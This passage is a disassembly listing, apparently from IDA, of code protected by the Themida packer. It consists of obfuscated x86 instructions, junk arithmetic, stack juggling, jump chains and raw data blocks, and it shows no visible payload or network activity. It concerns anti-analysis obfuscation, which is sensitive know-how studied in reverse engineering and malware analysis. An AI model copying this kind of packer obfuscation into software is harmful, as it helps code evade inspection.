		dd 83DEF63Ch, 1BE904ECh, 100002Ch, 0E80159C8h, 0BC6E562Dh
		dd 2434FF68h, 0E189515Dh, 4C181h, 0A6E90000h, 81000117h
		dd 0AC1E0AC1h, 0A7C18124h, 0C1090A4Fh, 0E98102E9h, 0FFFFFFFFh
		dd 7FA9C181h, 0E9817302h, 645B6A6Eh, 0AD1F181h,	0C8016549h
		dd 1731E959h, 44810001h, 475F0824h, 0C1E95F4Fh,	33000101h
		dd 3C31243Ch, 243C3324h, 71FCE95Ch, 0E9AD0000h,	46BCh
; ---------------------------------------------------------------------------


loc_552D1C:				; CODE XREF: Themida_:00555C8Bj
		pop	eax
		or	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, 0CEB73BFFh
		add	ecx, 7AB21D5Fh
		add	ecx, 610A5689h
		add	ecx, edi
		sub	ecx, 610A5689h
		sub	ecx, 7AB21D5Fh
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_556976
; ---------------------------------------------------------------------------


loc_552D4F:				; CODE XREF: Themida_:00558244j
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		push	2F09h
		mov	[esp], ebx
		mov	ebx, 2
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_54F816
; ---------------------------------------------------------------------------


loc_552D73:				; CODE XREF: Themida_:0055D35Dj
		mov	edi, 6E4D25F8h
		add	eax, edi
		pop	edi
		sub	eax, 3380DC7h
		sub	eax, ecx
		add	eax, 3380DC7h
		jmp	loc_55E893
; ---------------------------------------------------------------------------
		dd 34FFC830h, 240C8B24h, 32DC68h, 241C8900h, 0C381E389h
		dd 4, 512568h, 24348900h, 4BEh,	5EF30100h, 7E59E9h, 0CFEF8100h
		dd 0E91A037Fh, 24A3h
; ---------------------------------------------------------------------------


loc_552DC4:				; CODE XREF: Themida_:00554F62j
		sub	esp, 4
		jmp	loc_5598F8
; ---------------------------------------------------------------------------
		db 66h
		dd 0E3EB8059h, 0FFDB6AE9h, 763C68FFh, 4890000h,	4265E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552DE6:				; CODE XREF: Themida_:0055687Aj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_56319B
; ---------------------------------------------------------------------------


loc_552DF1:				; CODE XREF: Themida_:005565ABj
		push	ecx
		mov	ecx, 0DD2BEBE3h
		jmp	loc_553A46
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 57E0BB24h, 0EB812D92h, 28158AEh
		dd 0E66FF381h, 0DE010A15h, 613E95Bh, 685A0000h,	30C2h
		dd 0BF243C89h, 18A276B3h, 0C3F3C781h, 21E95744h, 0BB000058h
		dd 152478E9h, 34FFD889h, 0C4835B24h, 59D92D04h,	1DE95E99h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552E4F:				; CODE XREF: Themida_:005610D8j
		xor	ecx, ebx
		pop	ebx
		jmp	loc_556F78
; ---------------------------------------------------------------------------
		db 81h
		dd 0C81C1FE9h, 21C1813Ch, 5A4A0B62h, 35E9E951h,	1C890000h
		dd 81BB24h, 0D8011E3Dh,	0FFCBA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552E79:				; CODE XREF: Themida_:005624F7j
		push	edi
		push	edx
		jmp	loc_561930
; ---------------------------------------------------------------------------
		dd 2D05E0C1h, 6CF17278h, 2862D935h, 8BC3293Fh, 0C4812404h
		dd 4, 0EC81FB29h, 4, 0E9243C89h, 6821h,	0AEC1815Dh, 0E914554Ah
		dd 2802h
; ---------------------------------------------------------------------------


loc_552EB4:				; CODE XREF: Themida_:00550D57j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		jmp	loc_55C9CF
; ---------------------------------------------------------------------------


loc_552EBE:				; CODE XREF: Themida_:005565E6j
		mov	ecx, 230E5750h
		sub	eax, 54484007h
		sub	eax, ecx
		jmp	loc_5546FE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 3FE92C77h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552ED7:				; CODE XREF: Themida_:00564603j
		neg	eax
		push	edx
		mov	edx, 79156150h
		jmp	loc_562970
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 4ECAB924h, 0BE56634Fh, 3F6C018Ah
		dd 0D1B6E9h, 80DEF600h,	0F4282AC6h, 66CCFE5Ah, 0E99EB151h
		dd 0D53Dh
; ---------------------------------------------------------------------------


loc_552F10:				; CODE XREF: Themida_:00550121j
		and	eax, ebp
		jmp	loc_55E3A7
; ---------------------------------------------------------------------------
a1YsD		db '1Yʄ',0
		dw 900h
		dd 0B7685EF0h, 0E9000048h, 1428h, 24048F5Ch, 6624248Bh
		dd 0B0E930FFh, 0B9FFFFFBh, 0CFFBBE2h, 0E6C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_552F45:				; CODE XREF: Themida_:0055FD88j
		xchg	edx, [esp]
		jmp	loc_55F4F6
; ---------------------------------------------------------------------------


loc_552F4D:				; CODE XREF: Themida_:0055CD23j
		push	52B7h
		mov	[esp], edi
		push	371D5038h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	edi, 15804E5Ah
		shr	edi, 7
		push	edi
		jmp	loc_561C48
; ---------------------------------------------------------------------------


loc_552F70:				; CODE XREF: Themida_:00550CBAj
		xor	edx, [esp]
		xor	[esp], edx
		mov	eax, [esp]
		push	esi
		jmp	loc_55586D
; ---------------------------------------------------------------------------
		db 51h
		dd 280E68h, 241C8900h, 0E95213B3h, 0FFFFD438h, 0E78957ADh
		dd 4C781h, 0EF810000h, 4, 0C074E9h, 24048900h, 8B03E9h
		dd 240C8700h, 0FE63E9h,	5B9BF00h, 0FB092ECCh, 11B6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_552FC1:				; CODE XREF: Themida_:005571EFj
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5573E0
; ---------------------------------------------------------------------------


loc_552FD0:				; CODE XREF: Themida_:00558C2Ej
		push	esi
		push	ebp
		push	0B7B4CE5h
		pop	ebp
		dec	ebp
		add	ebp, 289E2857h
		dec	ebp
		xor	ebp, 3419753Ah
		push	edx
		mov	edx, ebp
		mov	esi, edx
		jmp	loc_562A5B
; ---------------------------------------------------------------------------
		dd 4C581h, 2C870000h, 24248B24h, 0FFC815E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553001:				; CODE XREF: Themida_:00551F3Ej
		mov	[esp], eax
		push	ecx
		jmp	loc_5513E8
; ---------------------------------------------------------------------------
		dw 8966h
		dd 3E92404h, 0F7FFFFC8h, 0F3B6E9DDh, 0C3830000h, 241C8704h
		dd 243C875Ch, 8924248Bh, 5954240Ch, 0B2D0E9h, 22C58100h
		dd 81EF2EF0h, 571270C6h, 81EE292Dh, 571270EEh, 1639E92Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55304A:				; CODE XREF: Themida_:0055017Fj
		sub	ebp, edi
		pop	edi
		add	ebp, eax
		add	ebp, 1E31DC4h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2A8D0333h
		inc	ecx
		and	ecx, 2C247598h
		shr	ecx, 4
		inc	ecx
		sub	ecx, 0CE620EB0h
		add	ebp, 169663B8h
		sub	ebp, ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55E6BA
; ---------------------------------------------------------------------------
		db 81h
		dd 0F96199EEh, 5EC6812Bh, 8947E333h, 0BEB85EF7h, 1AA82BCh
		dd 243C8BF8h, 4C481h, 0C5010000h, 0E7B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5530AD:				; CODE XREF: Themida_:00554E25j
		add	esi, eax
		jmp	loc_5565BA
; ---------------------------------------------------------------------------
		dd 592434FFh, 76B2E9h, 242C8B00h, 0E9E68956h, 0B2D9h, 2404895Ch
		dd 7E27E9h, 81CF2900h, 914C72C7h, 0AEC78124h, 59420610h
		dd 4C78159h, 0E9000000h, 0FFFFDAAAh, 0E9D0F791h, 0FFFFDC31h
		dd 0EE2019B9h, 59CD892Dh, 336DED81h, 0F5816CEFh, 6B2A410Ch
		dd 0FFFFC581h, 0CD81FFFFh, 62D071EBh, 68h, 242C8100h, 6BFE4116h
		dd 0FAD7E9h, 241C8900h,	2434FF54h, 5B2434FFh, 4C481h, 83520000h
		dd 0B1E904ECh, 5B00007Eh, 4C381h, 0B7E90000h, 81FFFFD1h
		dd 4C7h, 68505100h, 28E92977h, 8324048Bh, 0F79104C4h, 875091D1h
		dd 0D0F72404h, 58240487h, 89445735h, 0C1E95663h, 8B0000DDh
		dd 0C4812414h, 4, 240C335Fh, 33240C31h,	248B240Ch, 48B6624h
		dd 0A963E924h, 0DCB60000h, 8904EC83h, 0F188240Ch, 0E959CC88h
		dd 5BE3h, 0B2A8E992h, 34870000h, 0DE6BE924h, 0EA81FFFFh
		dd 1A31F921h, 815AD301h, 8254D7C3h, 0DAFBE934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5531CA:				; CODE XREF: Themida_:00561931j
		mov	ecx, 6CC15BF8h
		inc	ecx
		jmp	loc_559E4E
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 4EC8124h, 89000000h,	4BD242Ch, 1000000h, 5D04246Ch
		dd 4BD555Bh, 0E9000000h, 115B4h, 2C76E60Dh, 55DAE91Fh
		dd 51480000h, 2DC6DDB9h, 59C80158h, 158C331h, 83055BDAh
		dd 2927F539h, 39832DD0h, 34FF27F5h, 0E9525A24h,	0E6ACh
		dd 6E2BE56h, 0F0010E36h, 5959E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553236:				; CODE XREF: Themida_:0055B287j
		xor	ecx, 0D28E025Eh
		add	ecx, 1337B11h
		add	ecx, edi
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_553249:				; CODE XREF: Themida_:00557F02j
		add	esi, 0E1C92E1Ch
		add	ecx, esi
		pop	esi
		add	eax, ecx
		push	dword ptr [esp]
		jmp	loc_554435
; ---------------------------------------------------------------------------


loc_55325C:				; CODE XREF: Themida_:00562379j
		and	ecx, 61960985h
		and	ecx, 74CB192Eh
		and	ecx, 21486FC1h
		inc	ecx
		sub	ecx, 0CFE4C3BDh
		sub	eax, ecx
		jmp	loc_55571A
; ---------------------------------------------------------------------------


loc_55327C:				; CODE XREF: Themida_:00551A08j
		mov	[esp], edx
		mov	dl, 17h
		sub	esp, 4
		jmp	loc_550D63
; ---------------------------------------------------------------------------
		dd 0E904C483h, 74ABh
; ---------------------------------------------------------------------------


loc_553294:				; CODE XREF: Themida_:00555EDDj
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_5564E4
; ---------------------------------------------------------------------------
aWichk		db 'WhK#',0
		dw 8900h
a4Sq		db '4$q',0
		dw 0C100h
		dd 0EFC107EFh, 81D7F704h, 0F59B7AEFh, 21DAE9FFh, 66BB0000h
		dd 55515362h, 0FB1048BDh, 5DEB294Fh, 521ABE56h,	0F3290158h
		dd 5224348Bh, 0C281E289h, 4, 4C281h, 14870000h,	0DE015C24h
		dd 0E92434FFh, 10F2Dh, 53D5BD55h, 0EA016F25h, 24348B5Dh
		dd 0E9E08950h, 2514h, 0E92434FFh, 3414h, 0C2E9D301h, 0BFFFFFEAh
		dd 168932A9h, 0E5490405h, 2DF80163h, 63E54904h,	56243C8Bh
		dd 0C681E689h, 4, 4C681h, 34330000h, 24343124h,	0E9243433h
		dd 439Ch
; ---------------------------------------------------------------------------


loc_553350:				; CODE XREF: Themida_:00554178j
		add	edx, ebx
		pop	ebx
		jmp	loc_55CF11
; ---------------------------------------------------------------------------
		dd 315FFD31h, 242C8BE9h, 0E904C483h, 0EE75h, 0BE56E389h
		dd 1F7B5B1Fh, 1705EE81h, 0E9552C7Bh, 0E09Dh, 8324148Bh
		dd 0C18104C4h, 4, 1328E9h
		db 0
; ---------------------------------------------------------------------------


loc_55338D:				; CODE XREF: Themida_:00550064j
		neg	esi
		sub	esi, 0DF77D72Ch
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_562345
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0B4h
		dd 18C8EB6h, 9311E9EBh,	0C8290000h, 2434FF59h, 4C4835Fh
		dd 5549E9h, 62E95E00h, 5E000036h, 0FFF199E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5533CD:				; CODE XREF: Themida_:0056048Dj
		pop	ecx
		pop	edi
		sub	ecx, 3DC70EA3h
		push	esi
		jmp	loc_557EF7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 2BE5600h, 81000000h, 0BB6FB9E9h, 0ECA3E96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533F2:				; CODE XREF: Themida_:00558C0Bj
		xor	ecx, 43CD4E38h
		shl	ecx, 8
		inc	ecx
		sub	ecx, 579E4619h
		shr	ecx, 1
		xor	ecx, 15CC4C70h
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_55B476
; ---------------------------------------------------------------------------
aI4S		db '4$',1Bh,'~',0
		dd 0D6ED8100h, 15BD238h, 0D6C581D5h, 505BD238h,	0CDA0E9h
		dd 0E9FE0100h, 2F8Ch, 8105EAC1h, 8A40E2F2h, 0FFF1E907h
		dd 0AF680000h, 89000029h, 6855240Ch, 2B30FF5h, 0DBC5815Dh
		dd 8125F647h, 0A957D4F5h, 0E9E98928h, 5A24h
; ---------------------------------------------------------------------------


loc_553468:				; CODE XREF: Themida_:0055D1AFj
		mov	esp, [esp]
		push	645Ah
		mov	[esp], edi
		push	2D13h
		mov	[esp], ebx
		push	7F047EFBh
		jmp	loc_55C356
; ---------------------------------------------------------------------------
		db 54h,	59h, 81h
		dd 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h, 4C9B685Ch
		dd 1C890000h, 291BBB24h, 0FEE97CBDh, 50000109h,	34E9C888h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5534B7:				; CODE XREF: Themida_:00559EBDj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, 43D15A76h
		add	ebx, eax
		push	eax
		mov	eax, esp
		jmp	loc_55864E
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0E95A0000h, 0C68Ch
; ---------------------------------------------------------------------------


loc_5534E4:				; CODE XREF: Themida_:00550D75j
		pop	ecx
		pop	ebx
		not	ah
		xor	ah, 0A5h
		or	dl, ah
		mov	eax, [esp]
		jmp	loc_560442
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 437DE8BAh, 5AD78904h, 3C8BF809h, 7BE95524h, 8B0000F4h
		dd 0C4832404h, 40504h, 80E90000h, 100010Bh, 24148BD0h
		dd 4C481h, 0BA520000h, 4, 505AD001h, 42474FFh, 24048F58h
		dd 0E924248Bh, 10B3Dh
; ---------------------------------------------------------------------------


loc_553540:				; CODE XREF: Themida_:0055A145j
		pop	eax
		pop	eax
		and	eax, ebp
		jmp	loc_556AA6
; ---------------------------------------------------------------------------
		dd offset dword_412F50+18h
		align 2
		dw 1C89h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 0CF9DE95Ch
		dd 0B068FFFFh, 89000066h, 0E954243Ch, 0B1FEh, 83240C8Bh
		dd 0D60104C4h, 0B626E9h, 0E6E95900h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553587:				; CODE XREF: Themida_:0055D20Cj
		mov	eax, 0E846ADDh
		jmp	loc_5527C5
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
aQhozst		db '$hOz,',0
		dw 6600h
		dd 0E924048Bh, 295Ah, 0E9241C33h, 4C4Ch, 65F96850h, 48B0183h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 491E95Ch
		dd 0BE560001h, 4, 4247401h, 0D4E95F5Eh,	0BB0000A3h, 4
		dd 3B4B850h, 0C129655Eh, 0B6E98158h, 155793Eh, 0B6C181D9h
		dd 8155793Eh, 5E03B4C1h, 3B36E965h, 8B660000h, 0ED68240Ch
		dd 8900007Dh, 0E9542404h, 1262h, 0E9240C89h, 0FFFFD6ABh
		dd 8704E883h, 895C2404h, 348B242Ch, 4C48124h, 50000000h
		dd 1564E9h, 242C3300h, 3024248Bh, 0E99C2404h, 0FFFFC1CEh
		dd 3314ADBFh, 0D8C2E96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553652:				; CODE XREF: Themida_:0055B9EBj
		not	esi
		jmp	loc_5647E3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 22FD6824h, 14890000h, 0E9C6824h, 24890000h, 24048324h
		dd 2434FF04h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		push	7AF2h
		mov	[esp], ebx
		mov	ebx, 2
		sub	edx, 23CE78CBh
		add	edx, 22E92F01h
		jmp	loc_55CEE8
; ---------------------------------------------------------------------------
		dd 0E9242C33h, 18DFh, 3CB2E181h, 0C1816475h, 1,	0D7F7F987h
		dd 87E9F987h, 66000083h, 5724048Bh, 0CE95F54h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5536D7:				; CODE XREF: Themida_:00555C70j
		sub	cl, bh
		push	dword ptr [esp]
		jmp	loc_55F17D
; ---------------------------------------------------------------------------


loc_5536E1:				; CODE XREF: Themida_:00551201j
		add	ebp, 4
		push	99Fh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54FBAB
; ---------------------------------------------------------------------------


loc_5536FE:				; CODE XREF: Themida_:00551075j
		add	esp, 4
		shr	edx, 4
		shl	edx, 2
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6FD159B5h
		and	edx, edi
		jmp	loc_551BC5
; ---------------------------------------------------------------------------
		dd 0C56BE56h, 0EEC14F8Dh, 59C68106h, 0E9775647h, 0FFFFECBCh
		dd 40685155h, 0E975BC7Bh, 1F6Eh, 9C2CD828h, 2B3368h, 240C8900h
		dd 6E79E9h, 81E38900h, 4C3h, 4C38300h, 0FFD73BE9h, 4C181FFh
		dd 81000000h, 2C1h, 240C8700h, 0FFDEAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553771:				; CODE XREF: Themida_:005599E9j
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55FEF0
; ---------------------------------------------------------------------------


loc_553782:				; CODE XREF: Themida_:00550591j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shl	ecx, 8
		not	ecx
		push	eax
		mov	eax, 122B2A48h
		or	ecx, eax
		pop	eax
		xor	ecx, 0F2EBEAFFh
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	46BAh
		mov	[esp], eax
		push	5DEAh
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		xchg	ebx, esi
		push	ebx
		xchg	edi, [esp]
		xchg	ebx, edi
		push	ebx
		not	dword ptr [esp]
		jmp	loc_562FE6
; ---------------------------------------------------------------------------
		dd 0EF808AB7h, 2C59681Eh, 4890000h, 0B189B424h,	8BE128EBh
		dd 0C4832404h, 8BF90004h, 0D9E9241Ch, 0BA000045h, 351005C2h
		dd 685AD189h, 1D90h, 59BAE9h, 0F6815D00h, 0EE37DFFBh, 34FFF301h
		dd 2434FF24h, 4C4835Eh,	555E5456h, 1E29E9h, 0EC835300h
		dd 24148904h, 0D57030BAh, 0DA2CE914h, 685CFFFFh, 2718h
		dd 55240C89h, 0DB267DBDh, 8E5C150h, 8105EDC1h, 0FD7467C5h
		dd 0FFFBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55385E:				; CODE XREF: Themida_:0055CC8Fj
		shl	ecx, 6
		add	ecx, 82BD19BAh
		add	esi, ecx
		jmp	loc_55DEE4
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 4E2C15Fh, 8102E2C1h,	2DF604C2h, 5AD101A3h, 8B240C87h
		dd 0EC812424h, 4, 0E9240489h, 10494h
; ---------------------------------------------------------------------------


loc_553894:				; CODE XREF: Themida_:0055F178j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 43B843EAh
		shl	ebx, 8
		sub	ebx, 11C74ED1h
		push	edx
		jmp	loc_55903E
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 0E9000000h, 608Ah,	0FE88DFF6h, 0BEE6805Bh
		dd 0FFBF99E9h, 242C89FFh, 8904EC83h, 65BF243Ch,	813F7E4Dh
		dd 85283EE7h, 0F7A2E933h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5538E2:				; CODE XREF: Themida_:0056128Ej
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5511FB
; ---------------------------------------------------------------------------


loc_5538F0:				; CODE XREF: Themida_:0055E451j
		push	edi
		mov	edi, 60060316h
		sub	edi, 0E433C064h
		jmp	loc_55F6A3
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 81000000h, 4C5h, 242C8700h, 240C875Ch, 24D3665Ch, 0F7E99C24h
		dd 87FFFFBEh, 895C242Ch, 8B54242Ch, 0C481242Ch,	4, 2B84B850h
		dd 0A0E94FA5h, 5A000029h, 5C243487h, 6DF168h, 240C8900h
		dd 25A9BD55h, 83B959ACh, 1B79DF0h, 0C9C4E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55395A:				; CODE XREF: Themida_:00556384j
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_559505
; ---------------------------------------------------------------------------
		db 0FFh
a4Xh		db '4$Xh<',0Ah,0
		align 10h
		dd 89241489h, 84BE56E2h, 811C8A4Fh, 0A84AEBC6h,	17B4E953h
		dd 0E3890000h, 4EC81h, 0C890000h, 4B924h, 0CB010000h, 81240C8Bh
		dd 4C4h, 0C4BAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5539A6:				; CODE XREF: Themida_:005584D8j
		add	edi, ebx
		sub	edi, 742D5FC0h
		add	edi, 3AA97A62h
		mov	ebx, [esp]
		jmp	loc_550133
; ---------------------------------------------------------------------------
		dd 0E22BE95Ch, 5B66FFFFh, 5EE9562Ch
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5539CB:				; CODE XREF: Themida_:0054FF06j
		add	eax, ebx
		pop	ebx
		jmp	loc_559FB8
; ---------------------------------------------------------------------------
		db 81h
		dd 2C1h, 74FF5100h, 34FF0424h, 1DE95924h
		db 12h,	1, 0
; ---------------------------------------------------------------------------


loc_5539E7:				; CODE XREF: Themida_:0055ECB4j
		push	ebx
		mov	ebx, esp
		push	6B19h
		mov	[esp], esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_559205
; ---------------------------------------------------------------------------
		dw 34FFh
aZrsc		db '$ZR]',0
		align 4
aH5		db 'h\5',0
		dd 241C8900h, 28566FBBh, 0EECB817Eh, 0E9373D4Dh, 0C66Ch
		dd 24048B66h, 77F16856h, 89510000h, 4C181E1h, 81000000h
		dd 4E9h, 240C8700h, 0A222E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A46:				; CODE XREF: Themida_:00552DF7j
		sub	esi, ecx
		pop	ecx
		push	eax
		jmp	loc_55AA29
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0B85007E3h, 0A16B7204h, 158C301h, 0F1BE9DFh
		db 1, 0
; ---------------------------------------------------------------------------


loc_553A62:				; CODE XREF: Themida_:00564352j
		push	edx
		mov	dl, 33h
		jmp	loc_55A95C
; ---------------------------------------------------------------------------
		dw 489h
		dd 0C0E6B424h, 0EC8105E4h, 4, 0B3241C89h, 8BDC0014h, 0C483241Ch
		dd 4EC8104h, 0E9000000h, 0C825h, 58F4685Ch, 61E90000h
		dd 830000B1h, 0C78304C4h, 9ABEE904h, 34FF0000h,	24048B24h
		dd 8304C483h, 0C8904ECh, 58545024h, 405h, 5E30E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553AC2:				; CODE XREF: Themida_:0055E31Fj
		push	edi
		mov	edi, 1DE16A2Ch
		push	esi
		jmp	loc_553CAA
; ---------------------------------------------------------------------------


loc_553ACE:				; CODE XREF: Themida_:0055D75Fj
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		jmp	loc_55C974
; ---------------------------------------------------------------------------
		dd 162C781h, 0B8501912h, 0C58B2C93h, 5F4DE9h, 54A8BE00h
		dd 89E914B3h, 57000021h, 42F268h, 24248900h, 251FE9h
		db 0
; ---------------------------------------------------------------------------


loc_553B15:				; CODE XREF: Themida_:00559FA2j
		pop	esp
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		sub	[edi+24h], esi
		pop	esi


loc_553B22:				; CODE XREF: Themida_:0055FAA8j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5600D9
; ---------------------------------------------------------------------------


loc_553B3C:				; CODE XREF: Themida_:0055A7BAj
		xor	esi, edi
		pop	edi
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_561522
; ---------------------------------------------------------------------------


loc_553B4F:				; CODE XREF: Themida_:00561F1Aj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	edx
		xor	eax, ecx
		jmp	loc_564245
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 8B240433h, 77E92424h, 100005Fh, 8EE95BDDh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B77:				; CODE XREF: Themida_:0055D163j
		pop	esi
		jmp	loc_5592D9
; ---------------------------------------------------------------------------
		db 0BAh, 2Ch, 0
		dd 0C2810000h, 73F32404h, 0EA81FA01h, 73F32404h, 334A68h
		dd 81B3E900h, 0C15A0000h, 0E94506EDh, 1CF1h
; ---------------------------------------------------------------------------


loc_553BA4:				; CODE XREF: Themida_:0055FCEFj
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		jmp	loc_5606CC
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 56000000h, 4BEh, 5EF32900h, 33DAE9h,	2474FF00h, 48F5D04h
		dd 1C895C24h, 2BB24h, 6EE90000h, 81000037h, 2B2EABF3h
		dd 4DBE5661h, 5347C75Eh, 476EF5BBh, 46EB8101h, 8108B4C5h
		dd 0D8160EEEh, 81DE0126h, 0D8160EC6h, 0D0AFE926h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553C02:				; CODE XREF: Themida_:0055466Dj
		mov	ecx, 2
		push	esi
		mov	esi, ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_555F10
; ---------------------------------------------------------------------------
		db 31h,	0FDh, 5Fh
		dd 2C8BEF89h, 4C48324h,	2DE7814Fh, 68506B78h, 20A9h, 0E9240489h
		dd 0B130h, 5984BB53h, 0E3C121A7h, 0B4E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553C4E:				; CODE XREF: Themida_:0055FEE0j
		sub	edi, ebx
		pop	ebx
		sub	eax, edi
		jmp	loc_562980
; ---------------------------------------------------------------------------
		dd 4DFCF281h, 0D70141A1h, 81CAE9h, 240C8B00h, 8104C483h
		dd 4C3h, 241C3300h, 33241C31h, 8B5C241Ch, 0A3682404h, 8900004Dh
		dd 8B54243Ch, 0C481243Ch, 4, 4EC81h, 1C890000h,	215DBB24h
		dd 56437ADDh, 0BEh, 2F85E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553CAA:				; CODE XREF: Themida_:00553AC9j
		mov	esi, 1
		push	ebp
		jmp	loc_5547B1
; ---------------------------------------------------------------------------
aYr		db 'YR',0Dh,0
		dw 4D83h
		dd 7A16BE56h, 0EED13F10h, 8FFCE81h, 0CE8119E1h,	635D3521h
		dd 670E68h, 242C8900h, 626C9DBDh, 76E4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553CE2:				; CODE XREF: Themida_:0055D6E9j
		pop	edx
		jmp	loc_5637CF
; ---------------------------------------------------------------------------
		dd 0BFh, 87F72900h, 9275E9FEh, 815B0000h, 4C3h,	4439E900h
		dd 0C3810000h, 488913E7h, 0E95BDE89h, 0D7Bh, 7C3AEB81h
		dd 0DF890853h, 0FCE9565Bh, 66FFFFD9h, 5324048Bh, 0F415E954h
		dd 8950FFFFh, 1B5F68E0h, 95E90000h
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553D37:				; CODE XREF: Themida_:0055CAE1j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_55E804
; ---------------------------------------------------------------------------
aZH2i		db ',$\h2i',0
		align 4
		dd 54241C89h, 0A3DE9h, 4C48300h, 7F00E9h
		db 0
; ---------------------------------------------------------------------------


loc_553D5D:				; CODE XREF: Themida_:0055F867j
		pop	ebp
		and	edi, 19160949h
		inc	edi
		sub	edi, 0B12986FBh
		or	eax, edi
		mov	edi, [esp]
